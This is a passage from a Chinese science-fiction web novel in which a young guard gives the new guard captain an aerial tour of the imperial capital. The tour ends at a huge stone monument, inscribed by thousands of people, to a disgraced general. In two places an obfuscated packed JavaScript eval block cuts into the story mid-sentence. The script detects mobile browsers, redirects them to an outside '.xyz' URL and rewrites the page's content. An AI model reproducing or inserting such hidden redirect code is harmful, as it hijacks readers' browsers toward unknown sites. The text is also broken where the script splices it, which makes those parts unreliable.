天空骤然拉近,“咚”的一声巨响,后排的耶罗真如没来得及坐好,被巨大的惯性甩在后座上,四肢张开,像摊一张筋肉结实的牛肉饼,那张粗犷的脸涨得通红,双眼中只有一片懵然。 惯性也把阿龙迦死死地按在椅背上,动弹不得,脸皮都扯得发疼。 “呜——呼!”大卫长啸呐喊,“我想这么做很久了!” 大卫猖狂的大笑声中,阿龙迦咬牙切齿地想:这小子……简直跟我年轻的时候一模一样! 十分钟前,大卫半恳求半蒙骗,领着他们溜进了飞艇库,偷摸开走了最好的一艘巡航艇,美其名曰“既然是皇帝陛下要求的观光旅行那么从座驾开始一切都要用最好的!”燕形的机身,闪耀的银色,剪刀般流利的尾翼,飞在空中像一道电光,拉风显眼得要命。 据这小子所言,“其实只有执行公务的时候才偶尔允许使用这艘飞艇,但既然是迎接新护卫长想必小飞一下皇帝陛下一定不会在意的嘿嘿嘿”。 话音未落,这小子就改换面目,露出了无良的嘴脸,当即篡改驾驶面板,从自动改为手动,而后一拍发动,加速踩到底! 惨无人道的飙车飞天! 阿龙迦其实对大卫要飙车有一点微妙的预感。无他,实在是从大卫选了这拉风满分的飞艇的瞬间,就激起了他某些久远的共鸣。 遥想当年他青葱岁月,爱好中有四个“最”字:军舰要开最大的,车要飙最快的,机甲要开最凶的,仗要打最奇的。 以他年轻时候的审美,在飞艇库里放眼望去,博览众车,想必也会和大卫一样,一眼钟情于这又凶又奇又大又快的飞艇。 当年他开飞艇,小有君临天空杀手的名号,完整名头,用某种古地球语言来说大概是“匿名杀手王!君临の天空之鹰”,这倒不是说他车开得烂,而是他开飞艇的风格一脉承袭自开军舰,左冲右突,狂袭猛进,如发利刃而截车流,快得连空中电子巡警都追不上。 如今一观大卫这小辈的开车手法,虽然狂放仍不及他十一,但其中熟悉的意味仍然让人感叹:做别人副驾飙车果然不如自己飙车! 攀升至数百米后,飞艇逐渐减速。 镜面般明亮的高楼大厦映入眼帘。成千上万的玻璃幕墙,迎着朝阳闪烁如大潮,正值清晨,这城市的美在晨曦中缓缓苏醒,长柳苍翠,飞红颤悬,一切颜色忽然被点亮,飞艇如流动的星辰划过透明的天穹。 从这里,已经可以看到密集的车流,呈带状,层层环绕在高楼大厦之间。 在大卫的操纵下,飞艇平缓起来,缓缓并入一条“空中环带”,沿道向前。 车流之中,一眼看去,前后左右都是各式飞艇、飞车、反重力飞行器,甚至小型舰船,向一个方向驶去,如大河缓缓涌动,各种飞行器,都只是裹挟在河水中的泥沙。 大卫把驾驶模式调回自动,而后立马高举双手,“相信我,刚才只是为了赶早高峰!” 阿龙迦撩起额发,瞳子里掠过一缕冷冷的笑意,没有任何表示。 这是“晚点再和你算总账”的意思。 大卫脸皮之厚,丝般顺滑地转变了状态,嗓音忽然就捏得亲切起来: “女士们先生们,各位亲爱的旅客朋友,从这里开始,我们已经来到了今天‘君临一日游’的起点!我们的航程将包括:高空俯瞰君临景色,一日总览千古帝都。跟着我,不仅有详细的景点介绍,本人作为地道的君临居民,还免费附带历史详解!大家鼓掌!” 大卫噼啪一顿掌声。 “现在,从我们右手看去,下方的接天楼宇,灯影摇红,千载名利场……” “说人话。” 阿龙迦的一只手已经冷铁般放在他的肩头。 “行行,”大卫搓手,“别急嘛。我专门选的飞艇,从这儿开始飞,帝都太大了,咱们也不可能一天用腿走完,所以我准备就大概飞一圈,从高空里把重要地标过一过,给你附带解说解说,你要是看见什么地方感兴趣,就跟我说,到时候咱们再下去,近距离转转。怎么样?” “可以。” “好,那么小喇叭大卫的解说现在开始!” 大卫简单操作,飞艇的金属外壁像水洗那样褪色,变成玻璃般的透明,整面大地的颜色映入艇中,清晰得不可思议,像置身一卷大画里,没有凭依地浮在天地之间,水墨色烟一样涌上来。 能看见地面的人潮,耀眼的灯光,空中飞旋如河沙的车流,全息的巨像、广告、烟花,闪转跳跃,霓虹如雨,还有山和海一样的高塔大厦,仿佛林立的骑枪,密密麻麻地刺上来。 “我们脚下现在的是第四区,君临‘中三区’的起点,从这里往后,可以直接穿过整个中三区。君临九个大区,下三区不在地表,上三区不那么好进,中三区就是我们最好的出发点。” “第四区,整个中央星域,最浓缩的贸易和商业中心。 关于第四区有句话,连君临三岁的孩子都耳熟能详,‘一个人一辈子想要的所有一切,哪怕是梦中最荒诞的想象,都能在第四区买到。’只要你有足够的金钱。据说这里一日流动的资金,就足够买下几十个星系,在帝国时代这种交易当然不被允许,但是把这些金钱换成湮灭炮和长舰,足以在一天内夷平任何人的家乡。” 大卫的表情平静下去,像说书人漫漫地讲一个故事,唇边一缕极淡的笑意,仿佛讥讽,又仿佛错觉: “看看这些街道,这些接到天顶的高楼,任何人走在这里,都会觉得自己身处安稳到让人无奈的开拓纪元吧?在过去的一百年一千年,哪怕家乡一个接着一个化为异土,污染种把已知星域变为了一个又一个死区,这些虚幻的电子烟花从没有缺席过,这几十公里中的调笑声,更没有一日停歇。你知道上一次这笑声止息是什么时候么? “二十年前,先帝治下,史称‘群星的陷落’的外星环战争。哪怕在人类无数次惨败中,那都是足以称作绝境的时刻。” “战败的那一天,败讯从中天大冕座的四面八方传来,所有星系似乎都在发出呼救的哀嚎。 总控制台里,每一支舰队都闪烁着重度损毁的红光,在外星环边缘,星舰残骸几乎形成规模巨大的陨石带,城市大小的军舰燃烧的同时撕裂、解体,那种场面,仿佛烧红的群山滚滚沉浮在海中。 “据说这是多少年来,第四区的烟花头一次停下,因为不再需要电子烟花了,战败的武器残片甚至能够抵达中天大冕座,在大气层上擦出金色暴雨般的流星。 第四区的商人们抬起头,看到头顶那个绚丽到前所未有的‘烟花’,却惊惧得仿佛滚锅里的鱼,他们在瞬间抛售资产,抢购一切能买到的民用旗舰,一人派出上百艘舰船去为自己探路,可是跑?没法跑。因为精神场的浓郁度超过了阈值,永远‘干净’的中央星域,也开始有异常实体凭空出现,活动在人类的土地上,将所过之地都化作血雾,异兽和实体的阴影像日食那样覆盖大地,星环之内,这所谓的‘净土’被包围了,这些富有四海的商人只能和普通人一起等死。” “那时候的天空,总是仿佛泼着血的黑红色……简直是炼狱。”他喃喃地说。 阿龙迦漠然地俯瞰窗外,闻罢只是说:“说得不错。可你却也知道二十年前么?那时你只是个几岁的小孩吧?” 大卫脸上的高远的突然被打破了,他颇有点恼羞成怒:“这是我姐姐说的!” 飞艇如流星经天。以矢量发动机的速度,第四区也足足飞了一个小时,这个区的大小,足足相当于一片巨型大陆。 接着飞艇提速,如长星划过布局相若的第五区和第六区。 “第五区的定位和第四区类似,但相比于第四区的商业贸易中心,第五区更多的是尖端科技研究所,和相应的工业园区,而第六区是帝国政府诸部门,和官员住宅区。” “这就是君临的中三区,而接下来你会看到的,”大卫仰起头,“是君临的上三区。” 飞艇悬停。两侧的建筑尽退,天地陡然开阔。 天空里舒卷金色的层云,风沙沙地漫卷而来。飞艇悬浮在空中,却仿佛停在一道分界线处,截然分明。这道线的后面是通明的城市,楼阁如海,前面则是无穷无际的绿色层林,微风席卷,翻涌如连天的怒涛大浪。 “胤A820717001号,申请通过‘丹墀’边界,进入王域。”大卫输入实时密码锁,接入特定频道,“驾驶者大卫·亚伯拉罕,载有乘客龙雷、耶罗真如,新访客龙雷已具有王室授权证件,已载入个人信息档案中,请丹墀查证。” 飞艇本来是浮在数百米的空中。 大卫话音落下的瞬间,两百米的高空,凭空出现了一个个莹光的节点,仿佛水波荡漾,湖底浮起了漫天的星辰。 只是片刻,显形的节点数就已远超视力的范围,每一个节点都在进行细微的实时游动,节点与节点之间形成变幻的几何图形,最终无数的节点结成一张通天彻地的大网,网面幻光般波动,这巨大的屏障如水幕般分隔内外,不接触‘水面’的人,根本无法看见它的存在。 这“水幕”缓缓波动,开始了极细微的膨胀,节点组成的界面从前端开始“吞噬”,扫描飞艇。边界穿过人体时有股淡淡的不适感,仿佛有静电在毛发间产生。 扫描进行得十分迅速,完成的瞬间,每个人心中都响起了一个声音,冷玉一样: “档案已核实,认证通过,予以放行。新访客龙雷,欢迎来到王域,丹墀已经记录你的生物信息,祝你在王域的经历愉快。” “听见丹墀的声音了么?是不是耳中没有声音但就是觉得听见了?帝国最新的脑感应技术,厉害吧!”大卫得意,“丹墀边界笼罩整个上三区,是一道功能广泛的屏障,同时,丹墀本身也是算力极强的集成AI,外来人总是惊诧王域没有守卫,那是因为王域的边界根本不需要守卫,边界本身就是守卫!” 他继续驾驶飞艇。这一次的速度十分缓慢,阿龙迦能清晰地看到地面。 林海起伏,绿意浓得欲滴。楼宇只星星般地散布,却都是庙宇神殿般宏大的建筑,在林海中拔地而起。 俯览大地,让人不禁生出错觉,一时仿佛凡人误入奥林匹斯山,一时仿佛凌霄殿破云降临,重檐大殿,巨柱拱顶,檐牙秀丽入神,瓦列琉璃飞光,浮雕上展翅吹角的天使,日轮如剑,众神如云。 “从这里开始就是第一区,第一区是重大历史性建筑,和王室行宫。现在看到的这些外围的行宫,都是先先帝的杰作,复了几万年的复古风。”大卫斜着眼睛。 “看!我们刚离开的戴克里先堡,”大卫贴着玻璃往下指,红海白楼一掠而过。 “哦,顺便一说,你这次通过丹墀才是被正式登记,上次是因为你搭乘的是陛下的座驾,陛下拥有最高许可权,你直接被边界豁免了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126970|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再往林海深处,建筑的风格各异,几乎令人目眩。 有造型奇特的纯白几何体,棱角分明,突出凌厉的七个角。 有仿佛螺旋星系的石英建筑,呈现出巨大的涡旋面,三条旋臂舒展,闪灭淡淡的星光。 有镂空的银色框架,搭出高耸的正三棱锥,框架的内部,由顶点下坠一口巨大的铜钟,似乎是纯铜的,映日有火色。 有仿佛木质的古老庙宇,灰尘扑扑,匾额上书“泥步寺”。 有无数金属齿轮、转轴、连杆、曲柄,横躺在地的机械之城,枯朽斑驳,像是巨人的枯骨。 有双星系统般,缓慢公转的双球建筑,球体中发出冰冷的蓝光,形似两颗绕着质点旋转的蓝巨星。 有通体琥珀的大殿,清澈透明,透出四面的林影,像一滴落在大地上的雨珠。 有漆黑的高塔,塔顶悬垂血红的巨旗;有一个个模糊堆叠的长环,构成顶天立地的巨门。 “这些是早期王室行宫,遗留到今天,已经成为了重要的历史纪念性建筑。”大卫漫谈这些神话般的殿宇。 “说到这个,必须得给你讲讲历史。最早的时候,宇宙里根本没有帝国。开拓纪元里,宇宙浩瀚而广博,当然不会是统一的。那个遥远的纪元里,文明灿烂如河沙,每一道星环中的自治文明,都以亿计数。 据说,没有见过那个时代的人,根本不会明白智慧文明的璀璨夺目,那是人类文明登顶的时代,凡人凭着神话般的科技,能够征服时间和宇宙,并战胜最后一个敌人:自己,和死亡。” “但是这个纪元很快就过去了,文明的火一吹即灭,神话般的技术凋零,人类的过往,遗失在了血泪和焦土之中。 ‘黑暗时代’降临了,连带着无穷无尽的灾祸:实体、异兽、污染、异土、黑暗屏障……最后是名为‘大熄灭’的天灾。这些只在最深的噩梦里会存在的东西,开始行走在大地之上。黑暗时代里,人类的生死和命运,渺小得连尘埃都不如。” “黑暗时代初期,文明为了抵御这些超出人类认知的灾厄,结成了‘宇宙守望联’——‘已知宇宙自治文明守望联盟’。然而,随着异常的不断发生,面对瞬息毁灭一切的天灾,松散的联盟制度完全无法应对,故而不断有几近灭绝的小型文明,举国迁入大型势力。 最终,经联盟各个超大型文明一致同意,为了应对灭顶的灾难,唯有以绝对的集权和唯一的铁手统治才能面对,所有文明遂一同并入帝国的前身,成立帝国。” “帝国的前身,叫做‘胤神星中天圣朝’,是能跨越数个星环的超大型文明之一,当时的超大型文明一共有七个:分别是胤神星中天圣朝,双日联邦,血旗铁达尔帝国,苍白王庭,长环星门群落,玉府神霄天,虎纹螺旋。” “当是时,文明之繁盛,再次一级的大型文明也有九个之多,分别是星海神朝、圣械之骸、永恒的七角、步行天国、鹧鸪地、幽林星火、钟鸣、歌行者和净琥珀。你看下面这些建筑,其实就是在纪念这些旧日文明。” 他历数起来,一个个名字,一声声低语,像石子投入湖面,在阿龙迦心中回荡。 阿龙迦闭上眼睛,那些曾经辉煌得像金子和火一样的名字,仿佛吹去了时间的灰尘,在他心中再一次擦亮。 “‘那个七角几何体,是纪念‘永恒的七角’。涡旋星系,是‘虎纹螺旋’。巨钟则是纪念‘钟鸣’,再然后,是步行天国的泥布寺,圣械之骸的机械之城,”大卫的声音喃喃起来,“然后是双日联邦的双球建筑,净琥珀的琥珀宫,血旗铁达尔的黑塔血旗,长环星门的门之雕塑……” 渐渐的,这些历史行宫也被抛在身后。风景再变。 一路上,阿龙迦始终是冷静而沉默的,此刻却忽然直起了上身。 地平线处,能隐约看见白色的巨塔拔地而起。再后面,是影影绰绰的建筑群,高殿凌虚,直插入云,无不是巨岳高山般的气魄,横亘在大地上,压得人喘不过气来。 “前面那是第二区,”大卫察觉了他的反应,“帝国政府总部所在,帝国的代表建筑都在这里了,中天塔、圣庭、白帝山堂等等,你很快就会熟悉这里的,毕竟这里就是我们主要工作的区域。” 阿龙迦缓缓地呼吸,瞳子里有火光一闪。真是熟悉啊,这个地方! 他曾被奉为至宾,在这些建筑中出入,也曾在此目睹新帝披着烈火雄狮旗登基,欢呼如山崩。 而更久远的时候,他曾驾驶着古神般遮天蔽日的机甲,把这里化成血河,他的兄弟们在他左右,暴雨的夜里,戎装的年轻人们持剑踏入皇帝和储君的寝宫里,脚步声冷酷得像铁石相磨,所过之处,所有人都缴械跪拜。 那样的杀戮,这片土地上发生过很多次吧?帝国权利山峰的顶点,这里的每一寸泥土下,想必都哭嚎着不曾甘心的怨魂。 “风暴之眼,”他低声说,“我在星网上看见过这里的照片。” “是的,他们把这里叫做风暴之眼,权利在这里浓缩到极致,像是有一个黑洞在这片土地上缓缓压缩,从这里发布的每一条命令,都在数以亿计的星系里得到执行,何等高傲而尊贵。不过我想,这片土地上的那个黑洞,其实我们都能看得见,它的名字,叫‘帝座’。”大卫直视阿龙迦的眼睛,一笑。 “好啦,好啦,我们的王域之行到这里就该结束了!”大卫露出满意的神情,“为了时间着想,我建议我们现在就前往下三区。再后面的第三区是禁行的军区总控制台,我们这样的小护卫,就算是想进也没有办法喽!” 11. 11 万人碑·下 阿龙迦抬头望去,电梯井的顶部闭合,最后一缕阳光熄灭。 这里已经是地下五十米的深度,一片漆黑,伸手不见五指,电梯井向下延伸到深渊般的黑暗中,通道笔直,仿佛是直通地狱。唯有井壁上每隔十米的指示灯,闪烁着微弱的红光。 飞艇停在巨大的升降平台上。 借着指示灯看过去,升降平台上的飞行器望不到边,轮廓冷硬,像栖落的鹰群。 “别惊讶,去下三区的人无论何时都这么多,没办法,大部分人都住在那。”大卫无聊地数起来,“1,2,3,4……” 升降平台应声降落。下降感强烈,黑暗结束在他数到30秒的时候,白光刺眼,流水般的阳光迎面涌来,照得人面颊微微地暖起来,洒在身上的时候,和地表的阳光别无二致。 飞艇纷纷升起,离开升降平台,驶入万里无云的蓝天中。 “看到那蓝天没,人工的,地下城的天气被设置为70%绝对晴天,20%阴雨天,和10%其它天气,听说这里还会公开抽签每个月的天气排布,想来住在这儿,应该也挺有意思。”大卫啧啧称奇。 “我住过。”像一尊石像般坐在后排的耶罗真如,忽然说出了他今天的第一句话,声音低沉得像铜钟大缶,“天气很好,好到不像真的,不像家乡。” “这样啊,”大卫打哈哈笑起来,挠了挠头,“给我们的新护卫长介绍一下,所谓的下三区,其实就是三所巨大的地下城,从Ⅰ号到Ⅲ号城市,地下居民很久之前就已经形成了完备的生活体系,到了今天,除了少部分职员,大部分居民基本只在一年中的重大节日上到地表,地下城的风貌和地面上很不一样的,你看了就知道了。” 飞艇在低空略过。地下城的风物点点映在阿龙迦眼中。 对,阿龙迦对自己说,这个地方,就是这样,还是这样,这样……奇怪又温馨。 阿龙迦的童年时期全部在这里度过,他是个孤儿,唯一幸运之处就是被遗弃在君临,从此住在帝都的福利院中。六岁上军校之前,他一直住在地下城里。 地下城的风貌像一卷浓烈的油画卷开一角,风格奇异,大红、靛青、绛紫、纯黑,各种颜色都泼在一起,根本没有两块区域是一样的,或者风格相同,高塔飞甍出小筑,楼阁连云平地起,整座城市乱而静,浩瀚而整洁,似乎根本没有整体上的布局。 有开满梧桐的街道,街头是卖风铃的小店,泛着铜绿色的金属片挂成波浪,风来音乐如海,铃片叮当。 隔壁就是汽修一条街,机械发出老旧的喘息,机油的味道从街头飘到街尾,行人脚步匆匆,稍不注意脸上就被熏得黑亮。 再旁边是朱红色的木质大屋,檐下悬挂金纱,孩子的唱诗班在里面穿着仿古的长裾,唱“魂兮归来”。 然后是成片的白色小楼,窗户千扇百扇,无数的人从无数的家庭中探出头来,年轻女孩对着阳光舒展懒腰,老人临窗理花,中年人伸出手去探檐下的水滴,孩子微笑,母亲歌唱,她的面孔光洁如满月。然后是更多的面庞被阳光照亮,或老或少,不忧不哀,呼吸之间,似乎有淡而又淡的喜悦,纤细如丝地生长。这是下午最后的时刻,而阳光正好。 阿龙迦不禁想起,很遥远的时候,他住的福利院似乎也是这么一座小楼,干净秀雅,窗前种满烟紫月白的兰花,推开窗,下面就是热闹的集市,他熟悉的奶奶在用大锅煮汤,汤底的香气浮上来,丝丝缕缕,把人的心都勾了下去。 真好……阿龙迦在心底说。终于有些东西未曾改变。 仿佛漂泊很多年后,你经历生死回到家乡,天地都改换了,可是庭树依旧。来到帝都后,他第一次稍稍放松了。 他对着透明的舱壁出神。云影飞驰,打在他的脸上,没有人说话,脚下的城市安然,万物宁静,且沉睡。 天边,一道铅色的石柱撞入视野。 安宁的错觉陡然破碎。他不由得皱起眉头,这根石柱的巨大,和周围的建筑完全不成比例,通天彻地,几乎接到天上的云层里去,像一把铁灰色的巨剑,被天上的巨手掷下,格格不入地插在这温馨而奇异的土地上。 他从没见过这根石柱,也从没在地下城见过类似的建筑。 “那石柱是什么?” “哦,那个啊,”大卫快速地瞟了一眼石柱,表情有些不自然,“那个……是万人碑。” “万人碑?什么意思?” “万人碑嘛,也没什么意思……就是那点事儿……反正几句话说不清楚……哎呀算了我直接带你下去看得了!” 大卫小声嘀咕,“早知道不往这儿飞了,我就知道会有这么一出……叫我怎么解释!轮得到我解释么?” 飞艇降落。那个沉默的石墩般的耶罗真如留在了飞艇上。 阿龙迦推开舱门,从地面看,这根石柱的规模更加令人震撼,站在近处抬头,满目只有这石柱的黑色,巨大到大约要足足三十人才能环抱,黑石的质地,看着有些斑驳。 再走近一些,阿龙迦才发现那所谓的斑驳,其实是刻上去的一个个小字,看上去都是人名,整齐排列,清晰地刻进石头里。 他抬起头,突然一惊,因为他目之所及竟然全是这种小字,密密麻麻,一列列向上延伸,“……徐志竟,洛伦佐·坦贝尔,阿列克谢·博尔诺夫,藏,赵延起,叶惜红,艾尔撒加,阿莲柯……” 一直延伸到看不见的顶端。 为什么如此多的人名?看这石柱的规模,怕是有数万之众。 谁又会冒着泄露身份隐私的危险将名字刻在石柱上? “如你所见,很多人……很多人都把自己的名字刻在了这个碑上,所以它被叫做万人碑。”大卫的面色更不自然了。 他触及到阿龙迦的目光,知道这样的解释不能打发他,忽然泄了气。 大卫长叹一声,埋下头去抓乱了满头的金发,而后猛地抬头。 “既然叫‘碑’,那么一定是纪念什么的,你知道这座碑纪念的是什么吗?” 阿龙迦摇头。 “一个人。这整座碑,通天那么高的石柱,只是为了纪念一个人。” 大卫的蓝眼睛锐利起来,目光箭一样去向石柱的顶端。 “你肯定想问,这座碑上刻了多少万的人名,怎么可能只是纪念一个人的?我的身份,作为帝国的军官,本来不该向你讲述这座碑的来历,但是既然是你,既然你问了,我也不再是护卫长,想来违背一下禁令,也没什么的。” 话音落下,这小子的气质忽然就变了。从那个野马般吊儿郎当的年轻人,骤然收束为冷厉的军人,他的声音透着惊人的锋利: “往后退!直到你能看见碑上写了什么。” 阿龙迦往后走去,足足百米后,才能窥见这石柱的全貌。 他不由得站住了。 那顶天立地的石碑,确实像他想的那样,从头到脚都刻着那整齐的小字,人名之多简直上达云霄。但是在远处,那些小字就都隐去了,天和地之间,独立的只有这座石碑,显着沉默的黑色。 在他站的地方,人们只能看见,或者说这座地下城只能看见,碑心刻着空荡荡的七个大字,笔锋凌厉不可言,锐烈而悲戚,便如鲜血淋漓地垂下: “将军百战身名裂”。 难以说清这行字的悲切,一笔一划,都凌厉得像刀和剑,锋锐得锥心,所有人看到的第一眼,想必心底都会像被刺痛了一下,侧头闪避。 大卫知道,这么多年来,这孤戾的七个字孤零零地高悬在地下城的上空,斑驳的,像一双悲恸而苍老的眼睛,看着这座城日升日落,明而复暗,暗而复明。 他冷漠的脸孔凝住了,心底深处忽然抽了一下。这么想来,真是孤独,和寂寞啊。 “将-军-百-战-身-名-裂……这么多年,我还是不能直面这座碑的余威,”大卫仰头,“这座碑纪念的人,帝国的军中,禁止说起他的名字,但我想,你已经知道他是谁。你该很熟悉他,那个人,是你的老师。” “我不知道你是否知晓,但你的老师,和君临的人们之间,有着我说不清的羁绊。在不同的星域,不同的群体中,他的形象截然不同,在人们的口中,他时而以魔鬼、狮子和毒蛇的面貌出现,时而又被描述为空前绝后的英雄。 那些曾被他以绝戾的征伐之术化为灰烬的地方,人们憎恨恶鬼一样憎恨他;那些濒死之际,看见千叶葵花旗从天上笼罩的人们,绝境中得他庇佑,则恨不得奉他为神明。 而对于君临的人民来说,无疑是后者。你生在这个时代,无法知晓人们对他的信仰之深厚,这信仰有如实质,像太阳当空、流星经天一样自然,以圣庭中悬挂的千叶血葵为圆心辐射,笼罩整个君临。” “可是忽然有一天,这信仰塌了。君临的人们不知道真正发生了什么,他们知道的只是,钢铁般的英雄被调往边缘星域,然后就此陨落,君临的人们,再也没有看见他的旗舰,返还故乡。 而在英雄的死讯传来后,往昔的一切荣光枯叶般凋零,仿佛滚油泼雪。 没有哀悼,没有盛大的葬仪,王室一改往日的热络,显出令人畏惧的冷酷,迅速宣布他为叛国而死的罪人,宣判中,累计的罪名居然达到了49项,包括屠杀难民、放任兽潮和弑君,其中最严重的指控无疑是‘反人类罪’,声称他违背了达摩克利斯最高人类公约——” “‘经查证,一切罪名属实,此人罪大恶极,已处以焚烧至死的极刑。罪孽无法偿还,犯人死得其所。钦此。’当年,皇帝陛下是这么说的。那一天他的宣判传遍了整个君临,天下哗然。” 犯人死得其所。 听到这句话,阿龙迦本来是想笑的,听到这样的屁话他本来就该大笑,心中的讥诮简直多得要涌出来,可是这一刻他突然笑不出来了。 因为他低下了头,看见了地上刻的文字。 直到这一刻,他才突然发现,整片广场其实也是石铺的,相似的质地,灰蒙蒙的,因为踩踏过多,纹理已经被磨灭了,只剩下光滑的地面。 而这光滑的石面上,有无数细细的白痕,他本来以为那是细小的裂纹,可是放眼看去,广场上无不是这发白的痕迹,像是一层细细的雪,仔细看去,居然都是歪歪扭扭的小字,和万人碑上那些工整印刻的字不同,这些想必都是以石子用力磨出来的,石面剥蚀如此严重,这些痕迹居然还保留着,只是有些隐约,像丝丝缕缕的烟雾。 文字密密麻麻地叠在一起,书写各异,出自天南地北的人手中。 阿龙伽努力分辨,最前面,是一篇篇长文般的吊唁,已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126971|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经看不很清楚了,隐约写着“三十载一梦醒,空长锋百战,我自怜君身名裂”等等。 再后面,是一些简短的感叹,譬如“烈火有知,何歼良人!”“恨血千年,土中应碧”,和“三十年眼光落地,犹水草乎山河!” 再看到后面,也许是剥蚀太严重,书写太繁,最后字如纷纷的雪片一样叠在一起。 看到最后,无非是“英雄”二字。 “三十年眼光落地,犹水草乎山河。惜哉!” 大卫也看到了地上的文字,“他们说他死的时候,其实真正只有二十八岁。二十八年,却有山河改换,天地一清,实在不是常人所能。无论如何,确实当得起‘英雄’二字。也只有这般人物,能叫人们在他死后,哪怕违背禁令也要为他竖碑。 这座碑,立过七次,也被推平过七次,帝国政府不能容忍人们为一个叛国的逆贼立碑纪念,也不能让这个被抹去的名字高悬在帝国的城池上。前七次立碑,所有相关人员,连着立碑的工程师都一并被拘捕,可是仍不能吓止。 第八次立碑的时候,人们没有刻‘他’的名字,却将自己的名字刻了上去,表示对立碑的支持,这个行为得到了普遍的认可,最后几乎整个下三区的人都将自己的名字刻了上去,你不是要抓人么?那你就得把千万人都一起抓了!可你抓得了么?” “第八次立碑,帝国政府终于妥协,条件是这座碑上不能出现‘他’”的名字。所以最后,这座万人碑,终究是一座无名碑。没有纪念的人名,没有生卒的年月,甚至也没有纪念的话语,只有一句语焉不详的感叹。”一句讽刺般的叹息。 将军百战身名裂啊……大卫默默地出神。 太阳西沉,天光红透,云是层层的赤色,看不到尽头的石柱,支撑起燃烧的天幕。 阿龙迦并没有听大卫说话,他只是沉默地走动着,有时急步,有时骤停,直至广场上所有的字都映在他眼中。 天如火烧,照得整面广场凝成一副巨大的赤金色的大画,画布上万字千文,像碎成无数片的雪,每一片都光采粼粼,万花筒飞光乱影,天女散花,就要融化。 他的双眼幽深,惊心动魄的暗红色,深处像有火苗在跳动。 所有字都在他心里了,那么多那么多字,像纷纷的雪,融化后烙在心底,写的俱是“英雄”,通红的,痛得人心中一抖,仿佛炮烙。 那密密麻麻的字,一笔一划,刻进骨肉里,每根线条都带着淋淋的血。 每个字每个笔划,说的都是“英雄”。 一股腥气从嗓子里升起来,也许是血,也许是他压下去的大笑,冲得他咳嗽起来,咳着咳着他开始大笑,他笑得直不起腰,蜷起来,以手紧紧地抵住额头。 “英雄,英雄……”他喃喃地说,最后一声已经分不清楚是大笑还是大吼:“英雄!” 这一刻夕日沉落,只有最后一缕光从地平线上投来。阿龙迦的脸一半隐在阴影里,分外可怖。 那张清秀的孩子脸,这一刻狰狞如猛虎,或者恶鬼。两点瞳子在黑暗中燃烧般亮。狂风勾勒出他火焰色的红发和漆黑的轮廓,有如一尊铁塑。 大卫听见他的笑声,惊异地转过身来。只看见这孩子直起了他细瘦的背影,在夜风中站直了。 在大卫的眼中,却仿佛看见了一个巨大的影子在他身后张开。他觉得恍惚极了,只是那一瞬,像看到了另一人深重的侧影。 为什么,会那么像? 记忆缓缓苏醒,狂风里黑暗闪灭,无数的声音在涌动,男人在大笑,异兽发出山海般的长嘶,拔刀声、冲杀声、山呼声,机甲作绝世之咆,刀剑铮然作响。 这影子是某个男人从历史背面投来的巨影,跨越多少年的时光,在他的记忆中降临。也是火焰色的头发,轮廓如铁,却是截然不同的威严。像是黑色的沉默的山,顶立着天空,让人望不到尽头。 大卫忽然想起,他其实是见过那个人的,虽然一生只有一次。 十二年前,圆月,兽潮,城市之墟。苍红的人形在圆月中跃起,双剑纵横如火焰的十字,一剑斩杀腐烂的巨龙。 那一刻,大卫跟自己说:这就是……天下第一名将了! 最后的夕阳沉没,浓重的黑暗笼罩世界,天地俱寂,一切都安静下来。大卫眼中那个鬼魂般的幻影瞬间消散。 黑暗中,传来那个叫龙雷的孩子的声音,平静如水: “天黑了,走吧。不是说今天有圣庭夜宴么?” 那个声音平静,收敛,就好像大卫刚才听到的笑声只是错觉。 连同那些神似的片刻,都只是光影变化产生的幻象。 “说得对,走吧。”大卫点点头,这些似幻似真的东西很快就被他从心头抹去,某些更重要的东西升了起来,“那边重要得很,圣庭那样的地方,平时轻易不会打开。” “看你的了,新护卫长!”他拍拍龙雷的肩头。 “嗯。” 夜风将大卫的思绪拔得很远,一丝一缕,飘在风中。 风中他忽然听到龙雷的声音,淡淡的,“从万人碑建成到现在,陛下有来过这里么?” 这是什么问题? 大卫不假思索:“没有。” “一次也没有?” “一次也没有。” 12. 12 圣庭夜宴 君临,第二区,圣庭 暮色已去,黑夜沉沉地笼罩天空。 圣庭中已经亮起通明的灯火。卫兵们红衣黑领,昂首挺胸,怀抱闪烁寒光的军刺,成百上千把军刺指向天空。 他们的背后,灯光像山和海一般亮起,黑色的建筑横亘在大地上,白衣的侍者四处奔走,夜色中圣庭豁然苏醒。 人们推开圣庭古老的巨门,点亮每扇窗下的黄铜灯,掀开花海上的防寒布,火色的蔷薇和白色的马蹄莲对着夜空悄然绽放。 这里是帝国历来举行盛事的城堡,历代的皇帝们在这里举办世纪的婚礼、葬礼、国宴,甚至加冕仪式。 据说这里既保留着古代皇后们宣誓时的面纱和额冠,千年之后还有凌厉的香气,也埋葬着早夭皇嗣的蔷薇金棺,过往的形象雕刻在棺盖上栩栩如生。 从古老的木门中看去,圣庭的三重门庭像一组嵌套的镜子。 步道笔直地通向深处,被拱门截断,分成不同的中庭,有的种植花海,有的古树苍翠,一路要穿过三道拱门,才是最深处的圣庭。 一眼能看见最后的庭院,草坪似乎陡然开朗,宏伟的圣庭拔地而起,泛着古老的灰色,凌厉的尖刺直指天空。 最早的时候,这里是某位皇帝祈祷的圣所。建起它的时候,本来是一座教堂。 